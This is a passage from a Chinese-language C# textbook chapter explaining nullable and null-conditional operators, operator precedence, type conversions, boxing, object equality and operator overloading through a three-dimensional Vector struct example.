null值的可能性表示,不能随意合并表达式中的可空类型和非可空类 型,详见8.3.1小节的内容。  注意: 使用C#关键字?和类型声明时,例如int ?,编译器会解析它,以使用 泛型类型Nullable<int>。C#编译器把速记符号转换为泛型类型,减少输入量。 10.空合并运算符 空合并运算符(??)提供了一种快捷方式,可以在处理可空类型和引用类型时表示 null值的可能性。这个运算符放在两个操作数之间,第一个操作数必须是一个可空类型或 引用类型;第二个操作数必须与第一个操作数的类型相同,或者可以隐式地转换为第一个 操作数的类型。空合并运算符的计算如下: ● 如果第一个操作数不是null,整个表达式就等于第一个操作数的值。 ● 如果第一个操作数是null,整个表达式就等于第二个操作数的值。 例如: int? a = null; int b; b = a ? ? 10; // b has the value 10 a = 3; b = a ? ? 10; // b has the value 3 如果第二个操作数不能隐式地转换为第一个操作数的类型,就生成一个编译时错误。 空合并运算符不仅对可空类型很重要,对引用类型也很重要。在下面的代码片段中, 属性Val只有在不为空时才返回_val变量的值。如果它为空,就创建MyClass的一个新实 例,分配给val变量,最后从属性中返回。只有在变量_val为空时,才执行get访问器中表 达式的第二部分。 private MyClass _val; public MyClass Val { get { return _val ? ? (_val = new MyClass()); } 11.空值传播运算符 C# 6的一个杰出新功能是空值传播运算符。生产环境中的大量代码行都会验证空值条 件。访问作为方法参数传递的成员变量之前,需要检查它,以确定该变量的值是否为 null,否则会抛出一个NullReferenceException。.NET设计准则指定,代码不应该抛出这些 类型的异常,应该检查空值条件。然而,很容易忘记这样的检查。下面的这个代码片段验 证传递的参数p是否非空。如果它为空,方法就只是返回,而不会继续执行: public void ShowPerson(Person p) { if (p == null) return; string firstName = p.FirstName; //... } 使用空值传播运算符来访问FirstName属性(p? .FirstName),当p为空时,就只返回 null,而不继续执行表达式的右侧。 public void ShowPerson(Person p) { string firstName = p? .FirstName; //... } 使用空值传播运算符访问int类型的属性时,不能把结果直接分配给int类型,因为结 果可以为空。解决这个问题的一种选择是把结果分配给可空的int: int? age = p? .Age; 当然,要解决这个问题,也可以使用空合并运算符,定义另一个结果(例如0),以 防止左边的结果为空: int age = p? .Age ? ? 0; 也可以结合多个空值传播运算符。下面访问Person对象的Address属性,这个属性又定 义了City属性。Person对象需要进行null检查,如果它不为空,Address属性的结果也不为 空: Person p = GetPerson(); string city = null; if (p ! = null && p.Address ! = null) { city = p.Address.City; } 使用空值传播运算符时,代码会更简单: string city = p? .Address? .City; 还可以把空值传播运算符用于数组。在下面的代码片段中,使用索引运算符访问值为 null的数组变量元素时,会抛出NullReferenceException: int[] arr = null; int x1 = arr[0]; 当然,可以进行传统的null检查,以避免这个异常条件。更简单的版本是使用?[0]访 问数组中的第一个元素。如果结果是null,空合并运算符就返回x1变量的值: int x1 = arr? [0] ? ? 0; 8.2.2 运算符的优先级和关联性 表8-3显示了C#运算符的优先级,其中顶部的运算符有最高的优先级(即在包含多个 运算符的表达式中,最先计算该运算符)。 表8-3 组 运算符 基本运算符 (). [] x++ x-- new typeof sizeof checked unchecked 一元运算符 + - ! ~ ++x --x和数据类型强制转换 乘/除运算符 * / % 加/减运算符 +- 移位运算符 << >> 关系运算符 < ><= >= is as 比较运算符 == ! = 按位AND运算符 & 按位XOR运算符 ^ 按位OR运算符 | 条件AND运算符 && 条件OR运算符 || 空合并运算符 ?? 条件运算符 ?: 赋值运算符和lambda = += -= *= /= %= &= |= ^= <<= >>= >>>= => 除了运算符优先级之外,对于二元运算符,需要注意运算符是从左向右还是从右到左 计算。除了少数运算符之外,所有的二元运算符都是左关联的。例如: x + y + z 就等于: (x + y) + z 需要先注意运算符的优先级,再考虑其关联性。在以下表达式中,先计算y和z相乘, 再把计算的结果分配给x,因为乘法的优先级高于加法: x + y * z 关联性的重要例外是赋值运算符,它们是右关联。下面的表达式从右到左计算: x = y = z 因为存在右关联性,所有变量x、y、z的值都是3,且该运算符是从右到左计算的。如 果这个运算符是从左到右计算,就不会是这种情况: int z = 3; int y = 2; int x = 1; x = y = z; 一个重要的、可能误导的右关联运算符是条件运算符。表达式 a ? b: c ? d: e 等于: a = b: (c ? d: e) 这是因为该运算符是右关联的。  注意: 在复杂的表达式中,应避免利用运算符优先级来生成正确的结果。使 用圆括号指定运算符的执行顺序,可以使代码更整洁,避免出现潜在的冲突。 8.3 类型的安全性 第1章提到中间语言(IL)可以对其代码强制实现强类型安全性。强类型化支持.NET 提供的许多服务,包括安全性和语言的交互性。因为C#语言会编译为IL,所以C#也是强 类型的。此外,这说明数据类型并不总是可无缝互换。本节将介绍基本类型之间的转换。  注意: C#也支持不同引用类型之间的轮换,在与其他类型相互转换时还允许 定义所创建的数据类型的行为方式。本章稍后将详细讨论这两个主题。 另一方面,泛型可以避免对一些常见的情形进行类型转换,详见第6章和第11章。 8.3.1 类型转换 我们常常需要把数据从一种类型转换为另一种类型。考虑下面的代码: byte value1 = 10; byte value2 = 23; byte total; total = value1 + value2; WriteLine(total); 在试图编译这些代码行时,会得到一条错误消息: Cannot implicitly convert type 'int' to 'byte' 问题是,我们把两个byte型数据加在一起时,应返回int型结果,而不是另一个byte数 据。这是因为byte包含的数据只能为8位,所以把两个byte型数据加在一起,很容易得到不 能存储在单个byte型数据中的值。如果要把结果存储在一个byte变量中,就必须把它转换 回byte类型。C#支持两种转换方式:隐式转换和显式转换。 1.隐式转换 只要能保证值不会发生任何变化,类型转换就可以自动(隐式)进行。这就是前面代 码失败的原因:试图从int转换为byte,而可能丢失了3个字节的数据。编译器不允许这么 做,除非我们明确告诉它这就是我们希望的结果!如果在long类型变量而非byte类型变量 中存储结果,就不会有问题了: byte value1 = 10; byte value2 = 23; long total; // this will compile fine total = value1 + value2; WriteLine(total); 程序可以顺利编译,而没有任何错误,这是因为long类型变量包含的数据字节比byte 类型多,所以没有丢失数据的危险。在这些情况下,编译器会很顺利地转换,我们也不需 要显式提出要求。 表8-4列出了C#支持的隐式类型转换。 表8-4 源类型 目标类型 sbyte short、int、long、float、double、decimal、BigInteger byte short、ushort、int、uint、long、ulong、float、double、 decimal、BigInteger short int、long、float、double、decimal、BigInteger ushort int、uint、long、ulong、float、double、decimal、BigInteger int long、float、double、decimal、BigInteger uint long、ulong、float、double、decimal、BigInteger long、ulong float、double、decimal、BigInteger float double、BigInteger char ushort、int、uint、long、ulong、float、double、decimal、 BigInteger 注意,只能从较小的整数类型隐式地转换为较大的整数类型,而不能从较大的整数类 型隐式地转换为较小的整数类型。也可以在整数和浮点数之间转换;然而,其规则略有不 同。尽管可以在相同大小的类型之间转换,如int/uint转换为float, long/ulong转换为 double,但是也可以从long/ulong转换回float。这样做可能会丢失4个字节的数据,但这仅 表示得到的float值比使用double得到的值精度低;编译器认为这是一种可以接受的错误, 因为值的数量级不会受到影响。还可以将无符号的变量分配给有符号的变量,只要无符号 变量值的大小在有符号变量的范围之内即可。 在隐式地转换值类型时,对于可空类型需要考虑其他因素: ● 可空类型隐式地转换为其他可空类型,应遵循表8-4中非可空类型的转换规则。即 int?隐式地转换为long?、float?、double?和decimal?。 ● 非可空类型隐式地转换为可空类型也遵循表8-5中的转换规则,即int隐式地转换为 long?、float?、double?和decimal?。 ● 可空类型不能隐式地转换为非可空类型,此时必须进行显式转换,如下一节所述。 这是因为可空类型的值可以是null,但非可空类型不能表示这个值。 2.显式转换 有许多场合不能隐式地转换类型,否则编译器会报告错误。下面是不能进行隐式转换 的一些场合: ● int转换为short——会丢失数据。 ● int转换为uint——会丢失数据。 ● uint转换为int——会丢失数据。 ● float转换为int——会丢失小数点后面的所有数据。 ● 任何数字类型转换为char——会丢失数据。 ● decimal转换为任何数字类型——因为decimal类型的内部结构不同于整数和浮点 数。 ● int?转换为int——可空类型的值可以是null。 但是,可以使用类型强制转换(cast)显式地执行这些转换。在把一种类型强制转换 为另一种类型时,有意地迫使编译器进行转换。类型强制转换的一般语法如下: long val = 30000; int i = (int)val; // A valid cast. The maximum int is 2147483647 这表示,把强制转换的目标类型名放在要转换值之前的圆括号中。对于熟悉C的程序 员,这是类型强制转换的典型语法。对于熟悉C++类型强制转换关键字(如static_cast)的 程序员,这些关键字在C#中不存在,必须使用C风格的旧语法。 这种类型强制转换是一种比较危险的操作,即使在从long转换为int这样简单的类型强 制转换过程中,如果原来long的值比int的最大值还大,就会出现问题: long val = 3000000000; int i = (int)val; // An invalid cast. The maximum int is 2147483647 在本例中,不会报告错误,但也得不到期望的结果。如果运行上面的代码,并将输出 结果存储在i中,则其值为: -1294967296 最好假定显式类型强制转换不会给出希望的结果。如前所述,C#提供了一个checked 运算符,使用它可以测试操作是否会导致算术溢出。使用checked运算符可以检查类型强 制转换是否安全,如果不安全,就要迫使运行库抛出一个溢出异常: long val = 3000000000; int i = checked((int)val); 记住,所有的显式类型强制转换都可能不安全,在应用程序中应包含代码来处理可能 失败的类型强制转换。第14章将使用try和catch语句引入结构化异常处理。 使用类型强制转换可以把大多数基本数据类型从一种类型转换为另一种类型。例如, 下面的代码给price加上0.5,再把结果强制转换为int: double price = 25.30; int approximatePrice = (int)(price + 0.5); 这会把价格四舍五入为最接近的美元数。但在这个转换过程中,小数点后面的所有数 据都会丢失。因此,如果要使用这个修改过的价格进行更多的计算,最好不要使用这种转 换;如果要输出全部计算或部分计算的近似值,且不希望由于小数点后面的多位数据而麻 烦用户,这种转换就很合适。 下面的例子说明了把无符号整数转换为char时会发生的情况: ushort c = 43; char symbol = (char)c; WriteLine(symbol); 输出结果是ASCII码为43的字符,即“+”符号。可以尝试数字类型(包括char)之间的 任何转换,这种转换是可行的,例如,把decimal转换为char,或把char转换为decimal。 值类型之间的转换并不仅限于孤立的变量。还可以把类型为double的数组元素转换为 类型为int的结构成员变量: struct ItemDetails { public string Description; public int ApproxPrice; } //.. double[] Prices = { 25.30, 26.20, 27.40, 30.00 }; ItemDetails id; id.Description = "Hello there."; id.ApproxPrice = (int)(Prices[0] + 0.5); 要把一个可空类型转换为非可空类型,或转换为另一个可空类型,并且其中可能会丢 失数据,就必须使用显式的类型强制转换。甚至在底层基本类型相同的元素之间进行转换 时,也要使用显式的类型强制转换,例如,int?转换为int,或float?转换为float。这是因 为可空类型的值可以是null,而非可空类型不能表示这个值。只要可以在两种等价的非可 空类型之间进行显式的类型强制转换,对应可空类型之间显式的类型强制转换就可以进 行。但如果从可空类型强制转换为非可空类型,且变量的值是null,就会抛出 InvalidOperationException异常。例如: int? a = null; int b = (int)a; // Will throw exception 谨慎地使用显式的类型强制转换,就可以把简单值类型的任何实例转换为几乎任何其 他类型。但在进行显式的类型转换时有一些限制,就值类型来说,只能在数字、char类型 和enum类型之间转换。不能直接把布尔型强制转换为其他类型,也不能把其他类型转换 为布尔型。 如果需要在数字和字符串之间转换,就可以使用.NET类库中提供的一些方法。Object 类实现了一个ToString()方法,该方法在所有的.NET预定义类型中都进行了重写,并返 回对象的字符串表示: int i = 10; string s = i.ToString(); 同样,如果需要分析一个字符串,以检索一个数字或布尔值,就可以使用所有预定义 值类型都支持的Parse()方法: string s = "100"; int i = int.Parse(s); WriteLine(i + 50); // Add 50 to prove it is really an int 注意,如果不能转换字符串(例如,要把字符串Hello转换为一个整数), Parse()方 法就会通过抛出一个异常注册一个错误。第14章将介绍异常。 8.3.2 装箱和拆箱 第2章介绍了所有类型,包括简单的预定义类型(如int和char)和复杂类型(如从 object类型中派生的类和结构)。这意味着可以像处理对象那样处理字面值: string s = 10.ToString(); 但是,C#数据类型可以分为在栈上分配内存的值类型和在托管堆上分配内存的引用 类型。如果int不过是栈上一个4字节的值,该如何在它上面调用方法? C#的实现方式是通过一个有点魔术性的方式,即装箱(boxing)。装箱和拆箱 (unboxing)可以把值类型转换为引用类型,并把引用类型转换回值类型。这些操作包含 在8.6节中,因为它们是基本的操作,即把值强制转换为object类型。装箱用于描述把一个 值类型转换为引用类型。运行库会为堆上的对象创建一个临时的引用类型“箱子”。 该转换可以隐式地进行,如上面的例子所述。还可以显式地进行转换: int myIntNumber = 20; object myObject = myIntNumber; 拆箱用于描述相反的过程,其中以前装箱的值类型强制转换回值类型。这里使用术 语“强制转换”,是因为这种转换是显式进行的。其语法类似于前面的显式类型转换: int myIntNumber = 20; object myObject = myIntNumber; // Box the int int mySecondNumber = (int)myObject; // Unbox it back into an int 只能对以前装箱的变量进行拆箱。当myObject不是装箱的int类型时,如果执行最后一 行代码,就会在运行期间抛出一个运行时异常。 这里有一个警告:在拆箱时必须非常小心,确保得到的值变量有足够的空间存储拆箱 的值中的所有字节。例如,C#的int类型只有32位,所以把long值(64位)拆箱为int时, 会导致抛出一个InvalidCastException异常: long myLongNumber = 333333423; object myObject = (object)myLongNumber; int myIntNumber = (int)myObject; 8.4 比较对象的相等性 在讨论了运算符并简要介绍了相等运算符后,就应考虑在处理类和结构的实例 时,“相等”意味着什么。理解对象相等的机制对逻辑表达式的编程非常重要,另外对实现 运算符重载和类型强制转换也非常重要,本章后面将讨论运算符重载。 对象相等的机制有所不同,这取决于比较的是引用类型(类的实例)还是值类型(基 本数据类型、结构或枚举的实例)。下面分别介绍引用类型和值类型的相等性。 8.4.1 比较引用类型的相等性 System.Object定义了3个不同的方法来比较对象的相等性:ReferenceEquals()和两 个版本的Equals()。再加上比较运算符(==),实际上有4种比较相等性的方法。这些 方法有一些细微的区别,下面就介绍它们。 1. ReferenceEquals()方法 ReferenceEquals()是一个静态方法,其测试两个引用是否指向类的同一个实例,特 别是两个引用是否包含内存中的相同地址。作为静态方法,它不能重写,所以 System.Object的实现代码保持不变。如果提供的两个引用指向同一个对象实例,则 ReferenceEquals()总是返回true;否则就返回false。但是,它认为null等于null: SomeClass x, y; x = new SomeClass(); y = new SomeClass(); bool B1 = ReferenceEquals(null, null); // returns true bool B2 = ReferenceEquals(null, x); // returns false bool B3 = ReferenceEquals(x, y); // returns false because x and y // point to different objects 2. Equals()虚方法 Equals()虚版本的System.Object实现代码也可以比较引用。但因为这是虚方法,所 以可以在自己的类中重写它,从而按值来比较对象。特别是如果希望类的实例用作字典中 的键,就需要重写这个方法,以比较相关值。否则,根据重写Object.GetHashCode()的 方式,包含对象的字典类要么不工作,要么工作的效率非常低。在重写Equals()方法时 要注意,重写的代码不应抛出异常。同理,这是因为如果抛出异常,字典类就会出问题, 一些在内部调用这个方法的.NET基类也可能出问题。 3.静态的Equals()方法 Equals()的静态版本与其虚实例版本的作用相同,其区别是静态版本带有两个参 数,并对它们进行相等性比较。这个方法可以处理两个对象中有一个是null的情况;因 此,如果一个对象可能是null,这个方法就可以抛出异常,提供额外的保护。静态重载版 本首先要检查传递给它的引用是否为null。如果它们都是null,就返回true(因为null与null 相等)。如果只有一个引用是null,它就返回false。如果两个引用实际上引用了某个对 象,它就调用Equals()的虚实例版本。这表示在重写Equals()的实例版本时,其效果 相当于也重写了静态版本。 4.比较运算符(==) 最好将比较运算符看作严格的值比较和严格的引用比较之间的中间选项。在大多数情 况下,下面的代码表示正在比较引用: bool b = (x == y); // x, y object references 但是,如果把一些类看作值,其含义就会比较直观,这是可以接受的方法。在这些情 况下,最好重写比较运算符,以执行值的比较。后面将讨论运算符的重载,但一个明显例 子是System.String类,Microsoft重写了这个运算符,以比较字符串的内容,而不是比较它 们的引用。 8.4.2 比较值类型的相等性 在比较值类型的相等性时,采用与引用类型相同的规则:ReferenceEquals()用于比 较引用,Equals()用于比较值,比较运算符可以看作一个中间项。但最大的区别是值类 型需要装箱,才能把它们转换为引用,进而才能对它们执行方法。另外,Microsoft已经在 System.ValueType类中重载了实例方法Equals(),以便对值类型进行合适的相等性测 试。如果调用sA.Equals(sB),其中sA和sB是某个结构的实例,则根据sA和sB是否在其 所有的字段中包含相同的值而返回true或false。另一方面,在默认情况下,不能对自己的 结构重载“==”运算符。在表达式中使用(sA == sB)会导致一个编译错误,除非在代码中 为存在问题的结构提供了“==”的重载版本。 另外,ReferenceEquals()在应用于值类型时总是返回false,因为为了调用这个方 法,值类型需要装箱到对象中。即使编写下面的代码: bool b = ReferenceEquals(v, v); // v is a variable of some value type 也会返回false,因为在转换每个参数时,v都会被单独装箱,这意味着会得到不同的引 用。出于上述原因,调用ReferenceEquals()来比较值类型实际上没有什么意义,所以不 能调用它。 尽管System.ValueType提供的Equals()默认重写版本肯定足以应付绝大多数自定义 的结构,但仍可以针对自己的结构再次重写它,以提高性能。另外,如果值类型包含作为 字段的引用类型,就需要重写Equals(),以便为这些字段提供合适的语义,因为 Equals()的默认重写版本仅比较它们的地址。 8.5 运算符重载 本节将介绍为类或结构定义的另一种类型的成员:运算符重载。C++开发人员应很熟 悉运算符重载。但是,因为这对于Java和Visual Basic开发人员来说是全新的概念,所以这 里要解释一下。C++开发人员可以直接跳到主要的运算符重载示例上。 运算符重载的关键是在对象上不能总是只调用方法或属性,有时还需要做一些其他工 作,例如对数值进行相加、相乘或逻辑操作(如比较对象)等。假定已经定义了一个表示 数学矩阵的类。在数学领域中,矩阵可以相加和相乘,就像数字一样。所以可以编写下面 的代码: Matrix a, b, c; // assume a, b and c have been initialized Matrix d = c * (a + b); 通过重载运算符,就可以告诉编译器,“+”和“*”对Matrix对象执行什么操作,以便编 写类似于上面的代码。如果用不支持运算符重载的语言编写代码,就必须定义一个方法, 以执行这些操作。结果肯定不太直观,可能如下所示: Matrix d = c.Multiply(a.Add(b)); 学习到现在可以知道,像“+”和“*”这样的运算符只能用于预定义的数据类型,原因很 简单:编译器知道所有常见的运算符对于这些数据类型的含义。例如,它知道如何把两个 long数据加起来,或者如何对两个double数据执行相除操作,并且可以生成合适的中间语 言代码。但在定义自己的类或结构时,必须告诉编译器:什么方法可以调用,每个实例存 储了什么字段等所有信息。同样,如果要对自定义的类使用运算符,就必须告诉编译器相 关的运算符在这个类的上下文中的含义。此时就要定义运算符的重载。 要强调的另一个问题是重载不仅仅限于算术运算符。还需要考虑比较运算符==、<、 >、! =、>=和<=。例如,考虑语句if(a==b)。对于类,这条语句在默认状态下会比较引 用a和b。检测这两个引用是否指向内存中的同一个地址,而不是检测两个实例实际上是否 包含相同的数据。对于string类,这种行为就会重写,于是比较字符串实际上就是比较每 个字符串的内容。可以对自己的类进行这样的操作。对于结构,“==”运算符在默认状态 下不做任何工作。试图比较两个结构,看看它们是否相等,就会产生一个编译错误,除非 显式地重载了“==”,告诉编译器如何进行比较。 在许多情况下,重载运算符用于生成可读性更高、更直观的代码,包括: ● 在数学领域中,几乎包括所有的数学对象:坐标、矢量、矩阵、张量和函数等。如 果编写一个程序执行某些数学或物理建模,就几乎肯定会用类表示这些对象。 ● 图形程序在计算屏幕上的位置时,也使用与数学或坐标相关的对象。 ● 表示大量金钱的类(例如,在财务程序中)。 ● 字处理或文本分析程序也有表示语句、子句等方面的类,可以使用运算符合并语句 (这是字符串连接的一种比较复杂的版本)。 但是,也有许多类型与运算符重载并不相关。不恰当地使用运算符重载,会使使用类 型的代码更难理解。例如,把两个DateTime对象相乘,在概念上没有任何意义。 8.5.1 运算符的工作方式 为了理解运算符是如何重载的,考虑一下在编译器遇到运算符时会发生什么情况就很 有用。用加法运算符(+)作为例子,假定编译器处理下面的代码: int myInteger = 3; uint myUnsignedInt = 2; double myDouble = 4.0; long myLong = myInteger + myUnsignedInt; double myOtherDouble = myDouble + myInteger; 考虑当编译器遇到下面这行代码时会发生什么情况: long myLong = myInteger + myUnsignedInt; 编译器知道它需要把两个整数加起来,并把结果赋予一个long型变量。调用一个方法 把数字加在一起时,表达式myInteger + myUnsignedInt是一种非常直观和方便的语法。该 方法接受两个参数myInteger和myUnsignedInt,并返回它们的和。所以编译器完成的任务 与任何方法调用一样——它会根据参数类型查找最匹配的“+”运算符重载,这里是带两个 整数参数的“+”运算符重载。与一般的重载方法一样,预定义的返回类型不会因为编译器 调用方法的哪个版本而影响其选择。在本例中调用的重载方法接受两个int参数,返回一 个int值,这个返回值随后会转换为long类型。 下一行代码让编译器使用“+”运算符的另一个重载版本: double myOtherDouble = myDouble + myInteger; 在这个实例中,参数是一个double类型的数据和一个int类型的数据,但“+”运算符没 有这种复合参数的重载形式,所以编译器认为,最匹配的“+”运算符重载是把两个double 数据作为其参数的版本,并隐式地把int强制转换为double。把两个double数据加在一起与 把两个整数加在一起完全不同,浮点数存储为一个尾数和一个指数。把它们加在一起要按 位移动一个double数据的尾数,从而使两个指数有相同的值,然后把尾数加起来,移动所 得到尾数的位,调整其指数,保证答案有尽可能高的精度。 现在,看看如果编译器遇到下面的代码会发生什么: Vector vect1, vect2, vect3; // initialize vect1 and vect2 vect3 = vect1 + vect2; vect1 = vect1*2; 其中,Vector是结构,稍后再定义它。编译器知道它需要把两个Vector实例加起来, 即vect1和vect2。它会查找“+”运算符的重载,该重载版本把两个Vector实例作为参数。 如果编译器找到这样的重载版本,它就调用该运算符的实现代码。如果找不到,它就 要看看有没有可以用作最佳匹配的其他“+”运算符重载,例如,某个运算符重载对应的两 个参数是其他数据类型,但可以隐式地转换为Vector实例。如果编译器找不到合适的运算 符重载,就会产生一个编译错误,就像找不到其他方法调用的合适重载版本一样。 8.5.2 运算符重载的示例:Vector结构 本章的示例使用如下依赖项和名称空间(除非特别注明): 依赖项: NETStandard.Library 名称空间: System static System.Console 本小节将开发一个结构Vector来说明运算符重载,这个Vector结构表示一个三维数学 矢量。如果数学不是你的强项,不必担心,我们会使这个例子尽可能简单。就此处而言, 三维矢量只是3个(double)数字的集合,说明物体的移动速度。表示数字的变量是_x、 _y和_z, _x表示物体向东移动的速度,_y表示物体向北移动的速度,_z表示物体向上移动 的速度(高度)。把这3个数字组合起来,就得到总移动量。例如,如果_x=3.0、 _y=3.0、_z=1.0,一般可以写作(3.0, 3.0, 1.0),表示物体向东移动3个单位,向北移动3 个单位,向上移动1个单位。 矢量可以与其他矢量或数字相加或相乘。在这里我们还使用术语“标量”,它是简单数 字的数学用语——在C#中就是一个double数据。相加的作用很明显。如果先移动(3.0, 3.0, 1.0)矢量对应的距离,再移动(2.0, -4.0, -4.0)矢量对应的距离,总移动量就是把这 两个矢量加起来。矢量的相加指把每个对应的组成元素分别相加,因此得到(5.0, -1.0, -3.0)。此时,数学表达式总是写成c=a+b,其中a和b是矢量,c是结果矢量。这与Vector 结构的使用方式一样。  注意: 这个例子将作为一个结构而不是类来开发,但这并不重要。运算符重 载用于结构和类时,其工作方式是一样的。 下面是Vector的定义——包含只读属性、构造函数和重写的ToString()方法,以便 轻松地查看Vector的内容,最后是运算符重载(代码文件 OperatorOverloadingSample/Vector.cs): struct Vector { public Vector(double x, double y, double z) { X = x; Y = y; Z = z; } public Vector(Vector v) { X = v.X; Y = v.Y; Z = v.Z; } public double X { get; } public double Y { get; } public double Z { get; } public override string ToString() => $"( {X}, {Y}, {Z} )"; } 这里提供了两个构造函数,通过传递每个元素的值或者提供另一个复制其值的Vector 来指定矢量的初始值。第二个构造函数带一个Vector参数,通常称为复制构造函数,因为 它们允许通过复制另一个实例来初始化一个类或结构实例。 下面是Vector结构的有趣部分——为“+”运算符提供支持的运算符重载: public static Vector operator + (Vector left, Vector right) => new Vector(left.X + right.X, left.Y + right.Y, left.Z + right.Z); 运算符重载的声明方式与静态方法基本相同,但operator关键字告诉编译器,它实际 上是一个自定义的运算符重载,后面是相关运算符的实际符号,在本例中就是“+”。返回 类型是在使用这个运算符时获得的类型。在本例中,把两个矢量加起来会得到另一个矢 量,所以返回类型也是Vector。对于这个特定的“+”运算符重载,返回类型与包含的类一 样,但并不一定是这种情况,在本示例中稍后将看到。两个参数就是要操作的对象。对于 二元运算符(带两个参数),如“+”和“-”运算符,第一个参数是运算符左边的值,第二个 参数是运算符右边的值。 这个实现代码返回一个新的矢量,该矢量用left和right变量的x、y和z属性初始化。 C#要求所有的运算符重载都声明为public和static,这表示它们与其类或结构相关联, 而不是与某个特定实例相关联,所以运算符重载的代码体不能访问非静态类成员,也不能 访问this标识符;这是可行的,因为参数提供了运算符执行其任务所需要知道的所有输入 数据。 下面需要编写一些简单的代码来测试Vector结构(代码文件 OperatorOverloadingSample/Program.cs): static void Main() { Vector vect1, vect2, vect3; vect1 = new Vector(3.0, 3.0, 1.0); vect2 = new Vector(2.0, -4.0, -4.0); vect3 = vect1 + vect2; WriteLine($"vect1 = {vect1}"); WriteLine($"vect2 = {vect2}"); WriteLine($"vect3 = {vect3}"); } 把这些代码另存为Vectors.cs,编译并运行它,结果如下: vect1 = ( 3, 3, 1 ) vect2 = ( 2, -4, -4 ) vect3 = ( 5, -1, -3 ) 矢量除了可以相加之外,还可以相乘、相减和比较它们的值。本节通过添加几个运算 符重载,扩展了这个Vector例子。这并不是一个功能齐全的真实的Vector类型,但足以说 明运算符重载的其他方面了。首先要重载乘法运算符,以支持标量和矢量的相乘以及矢量 和矢量的相乘。 矢量乘以标量只意味着矢量的每个组成元素分别与标量相乘,例如,2×(1.0, 2.5, 2.0)就等于(2.0, 5.0, 4.0)。相关的运算符重载如下所示(代码文件 OperatorOverloadingSample2/Vector.cs): public static Vector operator *(double left, Vector right) => new Vector(left * right.X, left * right.Y, left * right.Z); 但这还不够,如果a和b声明为Vector类型,就可以编写下面的代码: b = 2 * a; 编译器会隐式地把整数2转换为double类型,以匹配运算符重载的签名。但不能编译 下面的代码: b = a * 2; 编译器处理运算符重载的方式与方法重载是一样的。它会查看给定运算符的所有可用 重载,找到与之最匹配的重载方式。上面的语句要求第一个参数是Vector,第二个参数是 整数,或者可以隐式转换为整数的其他数据类型。我们没有提供这样一个重载。有一个运 算符重载,其参数依次是一个double和一个Vector,但编译器不能交换参数的顺序,所以 这是不可行的。需要显式地定义一个运算符重载,其参数依次是一个Vector和一个 double,有两种方式可以实现这样的运算符重载。第一种方式是对矢量乘法进行分解,和 处理所有运算符的方式一样,显式执行矢量相乘操作: public static Vector operator *(Vector left, double right) => new Vector(right * left.X, right * left.Y, right * left.Z); 前面已经编写了实现基本相乘操作的代码,最好重用该代码: public static Vector operator *(Vector left, double right) => right * left; 这段代码会有效地告诉编译器,如果有Vector和double数据的相乘操作,编译器就颠 倒参数的顺序,调用另一个运算符重载。本章的示例代码使用第二个版本,因为它看起来 比较简洁,同时阐述了该行为的思想。利用这个版本可以编写出可维护性更好的代码,因 为不需要复制代码,就可在两个独立的重载中执行相乘操作。 下一个要重载的乘法运算符支持矢量相乘。在数学领域,矢量相乘有两种方式,但这 里我们感兴趣的是点积或内积,其结果实际上是一个标量。这就是我们介绍这个例子的原 因:算术运算符不必返回与定义它们的类相同的类型。 在数学术语中,如果有两个矢量(x, y, z)和(X, Y, Z),其内积就定义为x * X + y * Y + z * Z的值。两个矢量这样相乘很奇怪,但这实际上很有用,因为它可以用于计算各 种其他的数。当然,如果要使用Direct3D或DirectDraw编写代码来显示复杂的3D图形,那 么在计算对象放在屏幕上的什么位置时,中间常常需要编写代码来计算矢量的内积。这里 我们关心的是使用Vector编写出double X =a * b,其中a和b是两个Vector对象,并计算出它 们的点积。相关的运算符重载如下所示: public static double operator *(Vector left, Vector right) => left.X * right.X + left.Y * right.Y + left.Z * right.Z; 理解了算术运算符后,就可以用一个简单的测试方法来检验它们是否能正常运行: static void Main() { // stuff to demonstrate arithmetic operations Vector vect1, vect2, vect3; vect1 = new Vector(1.0, 1.5, 2.0); vect2 = new Vector(0.0, 0.0, -10.0); vect3 = vect1 + vect2; WriteLine($"vect1 = {vect1 }"); WriteLine($"vect2 = {vect2 }"); WriteLine($"vect3 = vect1 + vect2 = {vect3 }"); WriteLine($"2 * vect3 = {2 * vect3 }"); WriteLine($"vect3 += vect2 gives {vect3 += vect2 }"); WriteLine($"vect3 = vect1 * 2 gives {vect3 = vect1 * 2 }"); WriteLine($"vect1 * vect3 = {vect1 * vect3 }"); } 运行此代码,得到如下所示的结果: vect1 = ( 1, 1.5, 2 ) vect2 = ( 0, 0, -10 ) vect3 = vect1 + vect2 = ( 1, 1.5, -8 ) 2 * vect3 = ( 2, 3, -16 ) vect3 += vect2 gives ( 1, 1.5, -18 ) vect3 = vect1 * 2 gives ( 2, 3, 4 ) vect1 * vect3 = 14.5 这说明,运算符重载会给出正确的结果,但如果仔细看看测试代码,就会惊奇地注意 到,实际上它使用的是没有重载的运算符——相加赋值运算符(+=): WriteLine($"vect3 += vect2 gives {vect3 += vect2 }"); 虽然“+=”一般计为单个运算符,但实际上它对应的操作分为两步:相加和赋值。与 C++语言不同,C#不允许重载“=”运算符;但如果重载“+”运算符,编译器就会自动使 用“+”运算符的重载来执行“+=”运算符的操作。-=、*=、/=和&=等所有赋值运算符也遵循 此原则。 8.5.3 比较运算符的重载 本章前面介绍过,C#中有6个比较运算符,它们分为3对: ● ==和!= ● >和< ● >=和<=  注意: .NET指南指定,在比较两个对象时,如果==运算符返回true,就应总 是返回true。所以应在不可改变的类型上只重载==运算符。 C#语言要求成对重载比较运算符。即,如果重载了“==”,也就必须重载“! =”;否则 会产生编译器错误。另外,比较运算符必须返回布尔类型的值。这是它们与算术运算符的 根本区别。例如,两个数相加或相减的结果理论上取决于这些数值的类型。前面提到,两 个Vector对象的相乘会得到一个标量。另一个例子是.NET基类System.DateTime。两个 DateTime实例相减,得到的结果不是一个DateTime,而是一个System.TimeSpan实例。相 比之下,如果比较运算得到的不是布尔类型的值,就没有任何意义。 除了这些区别外,重载比较运算符所遵循的原则与重载算术运算符相同。但比较两个 数并不如想象得那么简单。例如,如果只比较两个对象引用,就是比较存储对象的内存地 址。比较运算符很少进行这样的比较,所以必须编写代码重载运算符,比较对象的值,并 返回相应的布尔结果。下面对Vector结构重载“==”和“! =”运算符。首先是实现“==”重载的 代码(代码文件OverloadingComparisonSample/Vector.cs): public static bool operator ==(Vector left, Vector right) { if (object.ReferenceEquals(left, right)) return true; return left.X == right.X && left.Y == right.Y && left.Z == right.Z; } 这种方式仅根据Vector组成元素的值来对它们进行相等性比较。对于大多数结构,这 就是我们希望的方式,但在某些情况下,可能需要仔细考虑相等性的含义。例如,如果有 